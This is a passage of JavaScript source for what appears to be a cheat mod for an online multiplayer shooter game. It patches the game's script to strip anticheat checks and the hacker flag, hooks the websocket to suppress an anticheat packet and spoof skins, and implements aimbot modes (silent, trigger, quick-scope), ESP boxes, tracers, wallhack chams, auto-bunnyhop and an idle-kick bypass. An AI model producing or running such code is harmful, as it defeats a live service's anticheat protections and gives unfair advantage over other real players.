this.settings[key].val; if (!this.settings[key].disabled) { let tmpVal = this.getSavedVal(key); this.settings[key].val = tmpVal !== null ? tmpVal : this.settings[key].val; if (this.settings[key].val == "false") this.settings[key].val = false; if (this.settings[key].val == "true") this.settings[key].val = true; if (this.settings[key].val == "undefined") this.settings[key].val = this.settings[key].def; if (this.settings[key].set) this.settings[key].set(this.settings[key].val, true); } } } generateSetting(type, name, extra) { switch (type) { case 'checkbox': return `<label class="switch"><input type="checkbox" onclick="${skidStr}.setSetting('${name}', this.checked)" ${this.settings[name].val ? 'checked' : ''}><span class="slider"></span></label>`; case 'slider': return `<span class='sliderVal' id='slid_utilities_${name}'>${this.settings[name].val}</span><div class='slidecontainer'><input type='range' min='${this.settings[name].min}' max='${this.settings[name].max}' step='${this.settings[name].step}' value='${this.settings[name].val}' class='sliderM' oninput="${skidStr}.setSetting('${name}', this.value)"></div>` case 'select': { let temp = `<select onchange="${skidStr}.setSetting(\x27${name}\x27, this.value)" class="inputGrey2">`; for (let option in extra) { temp += '<option value="' + option + '" ' + (option == this.settings[name].val ? 'selected' : '') + '>' + extra[option] + '</option>'; } temp += '</select>'; return temp; } default: return `<input type="${type}" name="${type}" id="slid_utilities_${name}"\n${'color' == type ? 'style="float:right;margin-top:5px"' : `class="inputGrey2" placeholder="${extra}"`}\nvalue="${this.settings[name].val}" oninput="${skidStr}.setSetting(\x27${name}\x27, this.value)"/>`; } } resetSettings() { if (confirm("Are you sure you want to reset all your settings? This will also refresh the page")) { Object.keys(localStorage).filter(x => x.includes("kro_utilities_")).forEach(x => localStorage.removeItem(x)); location.reload(); } } setSetting(t, e) { this.settings[t].val = e; this.saveVal(t, e); if (document.getElementById(`slid_utilities_${t}`)) document.getElementById(`slid_utilities_${t}`).innerHTML = e; if (this.settings[t].set) this.settings[t].set(e); } createObserver(elm, check, callback, onshow = true) { return new MutationObserver((mutationsList, observer) => { if (check == 'src' || onshow && mutationsList[0].target.style.display == 'block' || !onshow) { callback(mutationsList[0].target); } }).observe(elm, check == 'childList' ? {childList: true} : {attributes: true, attributeFilter: [check]}); } createListener(elm, type, callback = null) { if (!this.isDefined(elm)) { alert("Failed creating " + type + "listener"); return } elm.addEventListener(type, event => callback(event)); } createElement(element, attribute, inner) { if (!this.isDefined(element)) { return null; } if (!this.isDefined(inner)) { inner = ""; } let el = document.createElement(element); if (this.isType(attribute, 'object')) { for (let key in attribute) { el.setAttribute(key, attribute[key]); } } if (!Array.isArray(inner)) { inner = [inner]; } for (let i = 0; i < inner.length; i++) { if (inner[i].tagName) { el.appendChild(inner[i]); } else { el.appendChild(document.createTextNode(inner[i])); } } return el; } createButton(name, iconURL, fn, visible) { visible = visible ? "inherit":"none"; let menu = document.querySelector("#menuItemContainer"); let icon = this.createElement("div",{"class":"menuItemIcon", "style":`background-image:url("${iconURL}");display:inherit;`}); let title= this.createElement("div",{"class":"menuItemTitle", "style":`display:inherit;`}, name); let host = this.createElement("div",{"id":"mainButton", "class":"menuItem", "onmouseenter":"playTick()", "onclick":"showWindow(12)", "style":`display:${visible};`},[icon, title]); if (menu) menu.append(host) } objectHas(obj, arr) { return arr.some(prop => obj.hasOwnProperty(prop)); } getVersion() { const elems = document.getElementsByClassName('terms'); const version = elems[elems.length - 1].innerText; return version; } saveAs(name, data) { let blob = new Blob([data], {type: 'text/plain'}); let el = window.document.createElement("a"); el.href = window.URL.createObjectURL(blob); el.download = name; window.document.body.appendChild(el); el.click(); window.document.body.removeChild(el); } saveScript() { this.fetchScript().then(script => { this.saveAs("game_" + this.getVersion() + ".js", script) }) } isKeyDown(key) { return this.downKeys.has(key); } simulateKey(keyCode) { var oEvent = document.createEvent('KeyboardEvent'); // Chromium Hack Object.defineProperty(oEvent, 'keyCode', { get : function() { return this.keyCodeVal; } }); Object.defineProperty(oEvent, 'which', { get : function() { return this.keyCodeVal; } }); if (oEvent.initKeyboardEvent) { oEvent.initKeyboardEvent("keypress", true, true, document.defaultView, keyCode, keyCode, "", "", false, ""); } else { oEvent.initKeyEvent("keypress", true, true, document.defaultView, false, false, false, false, keyCode, 0); } oEvent.keyCodeVal = keyCode; if (oEvent.keyCode !== keyCode) { alert("keyCode mismatch " + oEvent.keyCode + "(" + oEvent.which + ")"); } document.body.dispatchEvent(oEvent); } toggleMenu() { let lock = document.pointerLockElement || document.mozPointerLockElement; if (lock) document.exitPointerLock(); window.showWindow(12); if (this.isDefined(window.SOUND)) window.SOUND.play(`tick_0`,0.1) } onLoad() { this.createSettings(); this.createObservers(); this.waitFor(_=>this.isDefined(this.exports)).then(_=> { if (!this.isDefined(this.exports)) { alert("This Mod Needs To Be Updated Please Try Agian Later"); return; } //console.dir(this.exports); let toFind = { overlay: ["render", "canvas"], config: ["accAnnounce", "availableRegions", "assetCat"], three: ["ACESFilmicToneMapping", "TextureLoader", "ObjectLoader"], ws: ["socketReady", "ingressPacketCount", "ingressPacketCount", "egressDataSize"], utility: ["VectorAdd", "VectorAngleSign"], //colors: ["challLvl", "getChallCol"], //ui: ["showEndScreen", "toggleControlUI", "toggleEndScreen", "updatePlayInstructions"], //events: ["actions", "events"], } for (let rootKey in this.exports) { let exp = this.exports[rootKey].exports; for (let name in toFind) { if (this.objectHas(exp, toFind[name])) { console.log("Found Export ", name); delete toFind[name]; this[name] = exp; } } } if (!(Object.keys(toFind).length === 0 && toFind.constructor === Object)) { for (let name in toFind) { alert("Failed To Find Export " + name); } } else { Object.defineProperty(this.config, "nameVisRate", { value: 0, writable: false, configurable: true, }) this.ctx = this.overlay.canvas.getContext('2d'); this.overlay.render = new Proxy(this.overlay.render, { apply: function(target, that, args) { return [target.apply(that, args), render.apply(that, args)] } }) function render(scale, game, controls, renderer, me) { let width = skid.overlay.canvas.width / scale; let height = skid.overlay.canvas.height / scale; const renderArgs = [scale, game, controls, renderer, me]; if (renderArgs && void 0 !== skid) { ["scale", "game", "controls", "renderer", "me"].forEach((item, index)=>{ skid[item] = renderArgs[index]; }); if (me) { skid.ctx.save(); skid.ctx.scale(scale, scale); //this.ctx.clearRect(0, 0, width, height); skid.onRender(); //window.requestAnimationFrame.call(window, renderArgs.callee.caller.bind(this)); skid.ctx.restore(); } if(skid.settings && skid.settings.autoClick.val && window.endUI.style.display == "none" && window.windowHolder.style.display == "none") { controls.toggle(true); } } } // Skins const $skins = Symbol("skins"); Object.defineProperty(Object.prototype, "skins", { set: function(fn) { this[$skins] = fn; if (void 0 == this.localSkins || !this.localSkins.length) { this.localSkins = Array.apply(null, Array(5e3)).map((x, i) => { return { ind: i, cnt: 0x1, } }) } return fn; }, get: function() { return skid.settings.skinUnlock.val && this.stats ? this.localSkins : this[$skins]; } }) this.waitFor(_=>this.ws.connected === true, 40000).then(_=> { this.ws.__event = this.ws._dispatchEvent.bind(this.ws); this.ws.__send = this.ws.send.bind(this.ws); this.ws.send = new Proxy(this.ws.send, { apply: function(target, that, args) { if (args[0] == "ah2") return; try { var original_fn = Function.prototype.apply.apply(target, [that, args]); } catch (e) { e.stack = e.stack = e.stack.replace(/\n.*Object\.apply.*/, ''); throw e; } if (args[0] === "en") { skid.skinCache = { main: args[1][2][0], secondary: args[1][2][1], hat: args[1][3], body: args[1][4], knife: args[1][9], dye: args[1][14], waist: args[1][17], } } return original_fn; } }) this.ws._dispatchEvent = new Proxy(this.ws._dispatchEvent, { apply: function(target, that, [type, event]) { if (type =="init") { if(event[10] && event[10].length && event[10].bill && skid.settings.customBillboard.val.length > 1) { event[10].bill.txt = skid.settings.customBillboard.val; } } if (skid.settings.skinUnlock.val && skid.skinCache && type === "0") { let skins = skid.skinCache; let pInfo = event[0]; let pSize = 38; while (pInfo.length % pSize !== 0) pSize++; for(let i = 0; i < pInfo.length; i += pSize) { if (pInfo[i] === skid.ws.socketId||0) { pInfo[i + 12] = [skins.main, skins.secondary]; pInfo[i + 13] = skins.hat; pInfo[i + 14] = skins.body; pInfo[i + 19] = skins.knife; pInfo[i + 24] = skins.dye; pInfo[i + 33] = skins.waist; } } } return target.apply(that, arguments[2]); } }) }) if (this.isDefined(window.SOUND)) { window.SOUND.play = new Proxy(window.SOUND.play, { apply: function(target, that, [src, vol, loop, rate]) { if ( src.startsWith("fart_") && skid.settings.disableHckSnd.val ) return; return target.apply(that, [src, vol, loop, rate]); } }) } AudioParam.prototype.setValueAtTime = new Proxy(AudioParam.prototype.setValueAtTime, { apply: function(target, that, [value, startTime]) { return target.apply(that, [value, 0]); } }) this.rayC = new this.three.Raycaster(); this.vec2 = new this.three.Vector2(0, 0); } }) } gameJS(script) { let entries = { // Deobfu inView: { regex: /(\w+\['(\w+)']\){if\(\(\w+=\w+\['\w+']\['position']\['clone']\(\))/, index: 2 }, spectating: { regex: /\['team']:window\['(\w+)']/, index: 1 }, //inView: { regex: /\]\)continue;if\(!\w+\['(.+?)\']\)continue;/, index: 1 }, //canSee: { regex: /\w+\['(\w+)']\(\w+,\w+\['x'],\w+\['y'],\w+\['z']\)\)&&/, index: 1 }, //procInputs: { regex: /this\['(\w+)']=function\((\w+),(\w+),\w+,\w+\){(this)\['recon']/, index: 1 }, aimVal: { regex: /this\['(\w+)']-=0x1\/\(this\['weapon']\['\w+']\/\w+\)/, index: 1 }, pchObjc: { regex: /0x0,this\['(\w+)']=new \w+\['Object3D']\(\),this/, index: 1 }, didShoot: { regex: /--,\w+\['(\w+)']=!0x0/, index: 1 }, nAuto: { regex: /'Single\\x20Fire','varN':'(\w+)'/, index: 1 }, crouchVal: { regex: /this\['(\w+)']\+=\w\['\w+']\*\w+,0x1<=this\['\w+']/, index: 1 }, recoilAnimY: { regex: /\+\(-Math\['PI']\/0x4\*\w+\+\w+\['(\w+)']\*\w+\['\w+']\)\+/, index: 1 }, //recoilAnimY: { regex: /this\['recoilAnim']=0x0,this\[(.*?\(''\))]/, index: 1 }, ammos: { regex: /\['length'];for\(\w+=0x0;\w+<\w+\['(\w+)']\['length']/, index: 1 }, weaponIndex: { regex: /\['weaponConfig']\[\w+]\['secondary']&&\(\w+\['(\w+)']==\w+/, index: 1 }, isYou: { regex: /0x0,this\['(\w+)']=\w+,this\['\w+']=!0x0,this\['inputs']/, index: 1 }, objInstances: { regex: /\w+\['\w+']\(0x0,0x0,0x0\);if\(\w+\['(\w+)']=\w+\['\w+']/, index: 1 }, getWorldPosition: { regex: /{\w+=\w+\['camera']\['(\w+)']\(\);/, index: 1 }, //mouseDownL: { regex: /this\['\w+'\]=function\(\){this\['(\w+)'\]=\w*0,this\['(\w+)'\]=\w*0,this\['\w+'\]={}/, index: 1 }, mouseDownR: { regex: /this\['(\w+)']=0x0,this\['keys']=/, index: 1 }, //reloadTimer: { regex: /this\['(\w+)']&&\(\w+\['\w+']\(this\),\w+\['\w+']\(this\)/, index: 1 }, maxHealth: { regex: /this\['health']\/this\['(\w+)']\?/, index: 1 }, xDire: { regex: /this\['(\w+)']=Math\['lerpAngle']\(this\['xDir2']/, index: 1 }, yDire: { regex: /this\['(\w+)']=Math\['lerpAngle']\(this\['yDir2']/, index: 1 }, //xVel: { regex: /this\['x']\+=this\['(\w+)']\*\w+\['map']\['config']\['speedX']/, index: 1 }, yVel: { regex: /this\['y']\+=this\['(\w+)']\*\w+\['map']\['config']\['speedY']/, index: 1 }, //zVel: { regex: /this\['z']\+=this\['(\w+)']\*\w+\['map']\['config']\['speedZ']/, index: 1 }, // Patches exports: {regex: /(this\['\w+']\['\w+']\(this\);};},function\(\w+,\w+,(\w+)\){)/, patch: `$1 ${skidStr}.exports=$2.c; ${skidStr}.modules=$2.m;`}, inputs: {regex: /(\w+\['\w+']\[\w+\['\w+']\['\w+']\?'\w+':'push']\()(\w+)\),/, patch: `$1${skidStr}.onInput($2)),`}, inView: {regex: /&&(\w+\['\w+'])\){(if\(\(\w+=\w+\['\w+']\['\w+']\['\w+'])/, patch: `){if(!$1&&void 0 !== ${skidStr}.nameTags)continue;$2`}, thirdPerson:{regex: /(\w+)\[\'config\'\]\[\'thirdPerson\'\]/g, patch: `void 0 !== ${skidStr}.thirdPerson`}, isHacker:{regex: /(window\['\w+']=)!0x0\)/, patch: `$1!0x1)`}, fixHowler:{regex: /(Howler\['orientation'](.+?)\)\),)/, patch: ``}, respawnT:{regex: /'\w+':0x3e8\*/g, patch: `'respawnT':0x0*`}, anticheat1:{regex: /&&\w+\(\),window\['utilities']&&\(\w+\(null,null,null,!0x0\),\w+\(\)\)/, patch: ""}, anticheat2:{regex: /(\[]instanceof Array;).*?(var)/, patch: "$1 $2"}, anticheat3:{regex: /windows\['length'\]>\d+.*?0x25/, patch: `0x25`}, commandline:{regex: /Object\['defineProperty']\(console.*?\),/, patch: ""}, writeable:{regex: /'writeable':!0x1/g, patch: "writeable:true"}, configurable:{regex: /'configurable':!0x1/g, patch: "configurable:true"}, typeError:{regex: /throw new TypeError/g, patch: "console.error"}, error:{regex: /throw new Error/g, patch: "console.error"}, }; for(let name in entries) { let object = entries[name]; let found = object.regex.exec(script); if (object.hasOwnProperty('index')) { if (!found) { object.val = null; alert("Failed to Find " + name); } else { object.val = found[object.index]; console.log ("Found ", name, ":", object.val); } Object.defineProperty(skid.vars, name, { configurable: false, value: object.val }); } else if (found) { script = script.replace(object.regex, object.patch); console.log ("Patched ", name); } else alert("Failed to Patch " + name); } return script; } createObservers() { this.createObserver(window.instructionsUpdate, 'style', (target) => { if (this.settings.autoFindNew.val) { console.log(target) if (['Kicked', 'Banned', 'Disconnected', 'Error', 'Game is full'].some(text => target && target.innerHTML.includes(text))) { location = document.location.origin; } } }); this.createListener(document, "keyup", event => { if (this.downKeys.has(event.code)) this.downKeys.delete(event.code) }) this.createListener(document, "keydown", event => { if (event.code == "F1") { event.preventDefault(); this.toggleMenu(); } if ('INPUT' == document.activeElement.tagName || !window.endUI && window.endUI.style.display) return; switch (event.code) { case 'NumpadSubtract': document.exitPointerLock(); //console.log(document.exitPointerLock) console.dirxml(this) break; default: if (!this.downKeys.has(event.code)) this.downKeys.add(event.code); break; } }) this.createListener(document, "mouseup", event => { switch (event.button) { case 1: event.preventDefault(); this.toggleMenu(); break; default: break; } }) } onRender() { /* hrt / ttap - https://github.com/hrt */ this.renderFrame ++; if (this.renderFrame >= 100000) this.renderFrame = 0; let scaledWidth = this.ctx.canvas.width / this.scale; let scaledHeight = this.ctx.canvas.height / this.scale; let playerScale = (2 * this.consts.armScale + this.consts.chestWidth + this.consts.armInset) / 2 let worldPosition = this.renderer.camera[this.vars.getWorldPosition](); let espVal = this.settings.renderESP.val; if (espVal ==="walls"||espVal ==="twoD") this.nameTags = undefined; else this.nameTags = true; if (this.settings.autoActivateNuke.val && this.me && Object.keys(this.me.streaks).length) { /*chonker*/ this.ws.__send("k", 0); } if (espVal !== "off") { this.overlay.healthColE = this.settings.rainbowColor.val ? this.overlay.rainbow.col : "#eb5656"; } for (let iter = 0, length = this.game.players.list.length; iter < length; iter++) { let player = this.game.players.list[iter]; if (player[this.vars.isYou] || !player.active || !this.isDefined(player[this.vars.objInstances]) || this.getIsFriendly(player)) { continue; } // the below variables correspond to the 2d box esps corners let xmin = Infinity; let xmax = -Infinity; let ymin = Infinity; let ymax = -Infinity; let position = null; let br = false; for (let j = -1; !br && j < 2; j+=2) { for (let k = -1; !br && k < 2; k+=2) { for (let l = 0; !br && l < 2; l++) { if (position = player[this.vars.objInstances].position.clone()) { position.x += j * playerScale; position.z += k * playerScale; position.y += l * (player.height - player[this.vars.crouchVal] * this.consts.crouchDst); if (!this.containsPoint(position)) { br = true; break; } position.project(this.renderer.camera); xmin = Math.min(xmin, position.x); xmax = Math.max(xmax, position.x); ymin = Math.min(ymin, position.y); ymax = Math.max(ymax, position.y); } } } } if (br) { continue; } xmin = (xmin + 1) / 2; ymin = (ymin + 1) / 2; xmax = (xmax + 1) / 2; ymax = (ymax + 1) / 2; // save and restore these variables later so they got nothing on us const original_strokeStyle = this.ctx.strokeStyle; const original_lineWidth = this.ctx.lineWidth; const original_font = this.ctx.font; const original_fillStyle = this.ctx.fillStyle; //Tracers if (this.settings.renderTracers.val) { CRC2d.save.apply(this.ctx, []); let screenPos = this.world2Screen(player[this.vars.objInstances].position); this.ctx.lineWidth = 4.5; this.ctx.beginPath(); this.ctx.moveTo(this.ctx.canvas.width/2, this.ctx.canvas.height - (this.ctx.canvas.height - scaledHeight)); this.ctx.lineTo(screenPos.x, screenPos.y); this.ctx.strokeStyle = "rgba(0, 0, 0, 0.25)"; this.ctx.stroke(); this.ctx.lineWidth = 2.5; this.ctx.strokeStyle = this.settings.rainbowColor.val ? this.overlay.rainbow.col : "#eb5656" this.ctx.stroke(); CRC2d.restore.apply(this.ctx, []); } CRC2d.save.apply(this.ctx, []); if (espVal == "twoD" || espVal == "full") { // perfect box esp this.ctx.lineWidth = 5; this.ctx.strokeStyle = this.settings.rainbowColor.val ? this.overlay.rainbow.col : "#eb5656" let distanceScale = Math.max(.3, 1 - this.getD3D(worldPosition.x, worldPosition.y, worldPosition.z, player.x, player.y, player.z) / 600); CRC2d.scale.apply(this.ctx, [distanceScale, distanceScale]); let xScale = scaledWidth / distanceScale; let yScale = scaledHeight / distanceScale; CRC2d.beginPath.apply(this.ctx, []); ymin = yScale * (1 - ymin); ymax = yScale * (1 - ymax); xmin = xScale * xmin; xmax = xScale * xmax; CRC2d.moveTo.apply(this.ctx, [xmin, ymin]); CRC2d.lineTo.apply(this.ctx, [xmin, ymax]); CRC2d.lineTo.apply(this.ctx, [xmax, ymax]); CRC2d.lineTo.apply(this.ctx, [xmax, ymin]); CRC2d.lineTo.apply(this.ctx, [xmin, ymin]); CRC2d.stroke.apply(this.ctx, []); if (espVal == "full") { // health bar this.ctx.fillStyle = "#000000"; let barMaxHeight = ymax - ymin; CRC2d.fillRect.apply(this.ctx, [xmin - 7, ymin, -10, barMaxHeight]); this.ctx.fillStyle = player.health > 75 ? "green" : player.health > 40 ? "orange" : "red"; CRC2d.fillRect.apply(this.ctx, [xmin - 7, ymin, -10, barMaxHeight * (player.health / player[this.vars.maxHealth])]); // info this.ctx.font = "48px Sans-serif"; this.ctx.fillStyle = "white"; this.ctx.strokeStyle='black'; this.ctx.lineWidth = 1; let x = xmax + 7; let y = ymax; CRC2d.fillText.apply(this.ctx, [player.name||player.alias, x, y]); CRC2d.strokeText.apply(this.ctx, [player.name||player.alias, x, y]); this.ctx.font = "30px Sans-serif"; y += 35; CRC2d.fillText.apply(this.ctx, [player.weapon.name, x, y]); CRC2d.strokeText.apply(this.ctx, [player.weapon.name, x, y]); y += 35; CRC2d.fillText.apply(this.ctx, [player.health + ' HP', x, y]); CRC2d.strokeText.apply(this.ctx, [player.health + ' HP', x, y]); } } CRC2d.restore.apply(this.ctx, []); this.ctx.strokeStyle = original_strokeStyle; this.ctx.lineWidth = original_lineWidth; this.ctx.font = original_font; this.ctx.fillStyle = original_fillStyle; // skelly chams if (this.isDefined(player[this.vars.objInstances])) { let obj = player[this.vars.objInstances]; if (!obj.visible) { Object.defineProperty(player[this.vars.objInstances], 'visible', { value: true, writable: false }); } obj.traverse((child) => { let chamColor = this.settings.renderChams.val; let chamsEnabled = chamColor !== "off"; if (child && child.type == "Mesh" && child.material) { child.material.depthTest = chamsEnabled ? false : true; //if (this.isDefined(child.material.fog)) child.material.fog = chamsEnabled ? false : true; if (child.material.emissive) { child.material.emissive.r = chamColor == 'off' || chamColor == 'teal' || chamColor == 'green' || chamColor == 'blue' ? 0 : 0.55; child.material.emissive.g = chamColor == 'off' || chamColor == 'purple' || chamColor == 'blue' || chamColor == 'red' ? 0 : 0.55; child.material.emissive.b = chamColor == 'off' || chamColor == 'yellow' || chamColor == 'green' || chamColor == 'red' ? 0 : 0.55; } child.material.wireframe = this.settings.renderWireFrame.val ? true : false } }) } } } spinTick(input) { //this.game.players.getSpin(this.self); //this.game.players.saveSpin(this.self, angle); const angle = this.getAngleDst(input[2], this.me[this.vars.xDire]); this.spins = this.getStatic(this.spins, new Array()); this.spinTimer = this.getStatic(this.spinTimer, this.config.spinTimer); this.serverTickRate = this.getStatic(this.serverTickRate, this.config.serverTickRate); (this.spins.unshift(angle), this.spins.length > this.spinTimer / this.serverTickRate && (this.spins.length = Math.round(this.spinTimer / this.serverTickRate))) for (var e = 0, i = 0; i < this.spins.length; ++i) e += this.spins[i]; return Math.abs(e * (180 / Math.PI)); } raidBot(input) { let target = this.game.AI.ais.filter(enemy => { return undefined !== enemy.mesh && enemy.mesh && enemy.mesh.children[0] && enemy.canBSeen && enemy.health > 0 }).sort((p1, p2) => this.getD3D(this.me.x, this.me.z, p1.x, p1.z) - this.getD3D(this.me.x, this.me.z, p2.x, p2.z)).shift(); if (target) { let canSee = this.containsPoint(target.mesh.position) let yDire = (this.getDir(this.me.z, this.me.x, target.z, target.x) || 0) let xDire = ((this.getXDire(this.me.x, this.me.y, this.me.z, target.x, target.y + target.mesh.children[0].scale.y * 0.85, target.z) || 0) - this.consts.recoilMlt * this.me[this.vars.recoilAnimY]) if (this.me.weapon[this.vars.nAuto] && this.me[this.vars.didShoot]) { input[this.key.shoot] = 0; input[this.key.scope] = 0; this.me.inspecting = false; this.me.inspectX = 0; } else { if (!this.me.aimDir && canSee) { input[this.key.scope] = 1; if (!this.me[this.vars.aimVal]||this.me.weapon.noAim) { input[this.key.shoot] = 1; input[this.key.ydir] = yDire * 1e3 input[this.key.xdir] = xDire * 1e3 this.lookDir(xDire, yDire); } } } } else { this.resetLookAt(); } return input; } onInput(input) { if (this.isDefined(this.config) && this.config.aimAnimMlt) this.config.aimAnimMlt = 1; if (this.isDefined(this.controls) && this.isDefined(this.config) && this.settings.inActivity.val) { this.controls.idleTimer = 0; this.config.kickTimer = Infinity } if (this.me) { this.inputFrame ++; if (this.inputFrame >= 100000) this.inputFrame = 0; if (!this.game.playerSound[this.isProxy]) { this.game.playerSound = new Proxy(this.game.playerSound, { apply: function(target, that, args) { if (skid.settings.disableWpnSnd.val && args[0] && typeof args[0] == "string" && args[0].startsWith("weapon_")) return; return target.apply(that, args); }, get: function(target, key) { return key === skid.isProxy ? true : Reflect.get(target, key); }, }) } let isMelee = this.isDefined(this.me.weapon.melee)&&this.me.weapon.melee||this.isDefined(this.me.weapon.canThrow)&&this.me.weapon.canThrow; let ammoLeft = this.me[this.vars.ammos][this.me[this.vars.weaponIndex]]; // autoReload if (this.settings.autoReload.val) { //let capacity = this.me.weapon.ammo; //if (ammoLeft < capacity) if (isMelee) { if (!this.me.canThrow) { //this.me.refillKnife(); } } else if (!ammoLeft) { this.game.players.reload(this.me); input[this.key.reload] = 1; // this.me[this.vars.reloadTimer] = 1; //this.me.resetAmmo(); } } //Auto Bhop let autoBhop = this.settings.autoBhop.val; if (autoBhop !== "off") { if (this.isKeyDown("Space") || autoBhop == "autoJump" || autoBhop == "autoSlide") { this.controls.keys[this.controls.binds.jumpKey.val] ^= 1; if (this.controls.keys[this.controls.binds.jumpKey.val]) { this.controls.didPressed[this.controls.binds.jumpKey.val] = 1; } if (this.isKeyDown("Space") || autoBhop == "autoSlide") { if (this.me[this.vars.yVel] < -0.03 && this.me.canSlide) { setTimeout(() => { this.controls.keys[this.controls.binds.crouchKey.val] = 0; }, this.me.slideTimer||325); this.controls.keys[this.controls.binds.crouchKey.val] = 1; this.controls.didPressed[this.controls.binds.crouchKey.val] = 1; } } } } //Autoaim if (this.settings.autoAim.val !== "off") { this.playerMaps.length = 0; this.rayC.setFromCamera(this.vec2, this.renderer.fpsCamera); let target = this.game.players.list.filter(enemy => { let hostile = undefined !== enemy[this.vars.objInstances] && enemy[this.vars.objInstances] && !enemy[this.vars.isYou] && !this.getIsFriendly(enemy) && enemy.health > 0 && this.getInView(enemy); if (hostile) this.playerMaps.push( enemy[this.vars.objInstances] ); return hostile }).sort((p1, p2) => this.getD3D(this.me.x, this.me.z, p1.x, p1.z) - this.getD3D(this.me.x, this.me.z, p2.x, p2.z)).shift(); if (target) { //let count = this.spinTick(input); //if (count < 360) { // input[2] = this.me[this.vars.xDire] + Math.PI; //} else console.log("spins ", count); //target.jumpBobY * this.config.jumpVel let canSee = this.containsPoint(target[this.vars.objInstances].position); let inCast = this.rayC.intersectObjects(this.playerMaps, true).length; let yDire = (this.getDir(this.me.z, this.me.x, target.z, target.x) || 0); let xDire = ((this.getXDire(this.me.x, this.me.y, this.me.z, target.x, target.y - target[this.vars.crouchVal] * this.consts.crouchDst + this.me[this.vars.crouchVal] * this.consts.crouchDst, target.z) || 0) - this.consts.recoilMlt * this.me[this.vars.recoilAnimY]) if (this.me.weapon[this.vars.nAuto] && this.me[this.vars.didShoot]) { input[this.key.shoot] = 0; input[this.key.scope] = 0; this.me.inspecting = false; this.me.inspectX = 0; } else if (!canSee && this.settings.frustrumCheck.val) this.resetLookAt(); else if (ammoLeft||isMelee) { input[this.key.scope] = this.settings.autoAim.val === "assist"||this.settings.autoAim.val === "correction"||this.settings.autoAim.val === "trigger" ? this.controls[this.vars.mouseDownR] : 0; switch (this.settings.autoAim.val) { case "quickScope": input[this.key.scope] = 1; if (!this.me[this.vars.aimVal]||this.me.weapon.noAim) { if (!this.me.canThrow||!isMelee) input[this.key.shoot] = 1; input[this.key.ydir] = yDire * 1e3 input[this.key.xdir] = xDire * 1e3 this.lookDir(xDire, yDire); } break; case "assist": case "easyassist": if (input[this.key.scope] || this.settings.autoAim.val === "easyassist") { if (!this.me.aimDir && canSee || this.settings.autoAim.val === "easyassist") { input[this.key.ydir] = yDire * 1e3 input[this.key.xdir] = xDire * 1e3 this.lookDir(xDire, yDire); } } break; case "silent": if (!this.me[this.vars.aimVal]||this.me.weapon.noAim) { if (!this.me.canThrow||!isMelee) input[this.key.shoot] = 1; } else input[this.key.scope] = 1; input[this.key.ydir] = yDire * 1e3 input[this.key.xdir] = xDire * 1e3 break; case "trigger": if (input[this.key.scope] && canSee && inCast) { input[this.key.shoot] = 1; input[this.key.ydir] = yDire * 1e3 input[this.key.xdir] = xDire * 1e3 } break; case "correction": if (input[this.key.shoot] == 1) { input[this.key.ydir] = yDire * 1e3 input[this.key.xdir] = xDire * 1e3 } break; default: this.resetLookAt(); break; } } } else { this.resetLookAt(); //input = this.raidBot(input); } } } //else if (this.settings.autoClick.val && !this.ui.hasEndScreen) { //this.config.deathDelay = 0; //this.controls.toggle(true); //} //this.game.config.deltaMlt = 1 return input; } getD3D(x1, y1, z1, x2, y2, z2) { let dx = x1 - x2; let dy = y1 - y2; let dz = z1 - z2; return Math.sqrt(dx * dx + dy * dy + dz * dz); } getAngleDst(a, b) { return Math.atan2(Math.sin(b - a), Math.cos(a - b)); } getXDire(x1, y1, z1, x2, y2, z2) { let h = Math.abs(y1 - y2); let dst = this.getD3D(x1, y1, z1, x2, y2, z2); return (Math.asin(h / dst) * ((y1 > y2)?-1:1)); } getDir(x1, y1, x2, y2) { return Math.atan2(y1 - y2, x1 - x2); } getDistance(x1, y1, x2, y2) { return Math.sqrt((x2 -= x1) * x2 + (y2 -= y1) * y2); } containsPoint(point) { let planes = this.renderer.frustum.planes; for (let i = 0; i < 6; i ++) { if (planes[i].distanceToPoint(point) < 0) { return false; } } return true; } getCanSee(from, toX, toY, toZ, boxSize) { if (!from) return 0; boxSize = boxSize||0; for (let obj, dist = this.getD3D(from.x, from.y, from.z, toX, toY, toZ), xDr = this.getDir(from.z, from.x, toZ, toX), yDr = this.getDir(this.getDistance(from.x, from.z, toX, toZ), toY, 0, from.y), dx = 1 / (dist * Math.sin(xDr - Math.PI) * Math.cos(yDr)), dz = 1 / (dist * Math.cos(xDr - Math.PI) * Math.cos(yDr)), dy = 1 / (dist * Math.sin(yDr)), yOffset = from.y + (from.height || 0) - this.consts.cameraHeight, aa = 0; aa < this.game.map.manager.objects.length; ++aa) { if (!(obj = this.game.map.manager.objects[aa]).noShoot && obj.active && !obj.transparent && (!this.settings.wallPenetrate.val || (!obj.penetrable || !this.me.weapon.pierce))) { let tmpDst = this.lineInRect(from.x, from.z, yOffset, dx, dz, dy, obj.x - Math.max(0, obj.width - boxSize), obj.z - Math.max(0, obj.length - boxSize), obj.y - Math.max(0, obj.height - boxSize), obj.x + Math.max(0, obj.width - boxSize), obj.z + Math.max(0, obj.length - boxSize), obj.y + Math.max(0, obj.height - boxSize)); if (tmpDst && 1 > tmpDst) return tmpDst; } } /* let terrain = this.game.map.terrain; if (terrain) { let terrainRaycast = terrain.raycast(from.x, -from.z, yOffset, 1 / dx, -1 / dz, 1 / dy); if (terrainRaycast) return utl.getD3D(from.x, from.y, from.z, terrainRaycast.x, terrainRaycast.z, -terrainRaycast.y); } */ return null; } lineInRect(lx1, lz1, ly1, dx, dz, dy, x1, z1, y1, x2, z2, y2) { let t1 = (x1 - lx1) * dx; let t2 = (x2 - lx1) * dx; let t3 = (y1 - ly1) * dy; let t4 = (y2 - ly1) * dy; let t5 = (z1 - lz1) * dz; let t6 = (z2 - lz1) * dz; let tmin = Math.max(Math.max(Math.min(t1, t2), Math.min(t3, t4)), Math.min(t5, t6)); let tmax = Math.min(Math.min(Math.max(t1, t2), Math.max(t3, t4)), Math.max(t5, t6)); if (tmax < 0) return false; if (tmin > tmax) return false; return tmin; } lookDir(xDire, yDire) { this.controls.object.rotation.y = yDire this.controls[this.vars.pchObjc].rotation.x = xDire; this.controls[this.vars.pchObjc].rotation.x = Math.max(-this.consts.halfPI, Math.min(this.consts.halfPI, this.controls[this.vars.pchObjc].rotation.x)); this.controls.yDr = (this.controls[this.vars.pchObjc].rotation.x % Math.PI).round(3); this.controls.xDr = (this.controls.object.rotation.y % Math.PI).round(3); this.renderer.camera.updateProjectionMatrix(); this.renderer.updateFrustum(); } resetLookAt() { this.controls.yDr = this.controls[this.vars.pchObjc].rotation.x; this.controls.xDr = this.controls.object.rotation.y; this.renderer.camera.updateProjectionMatrix(); 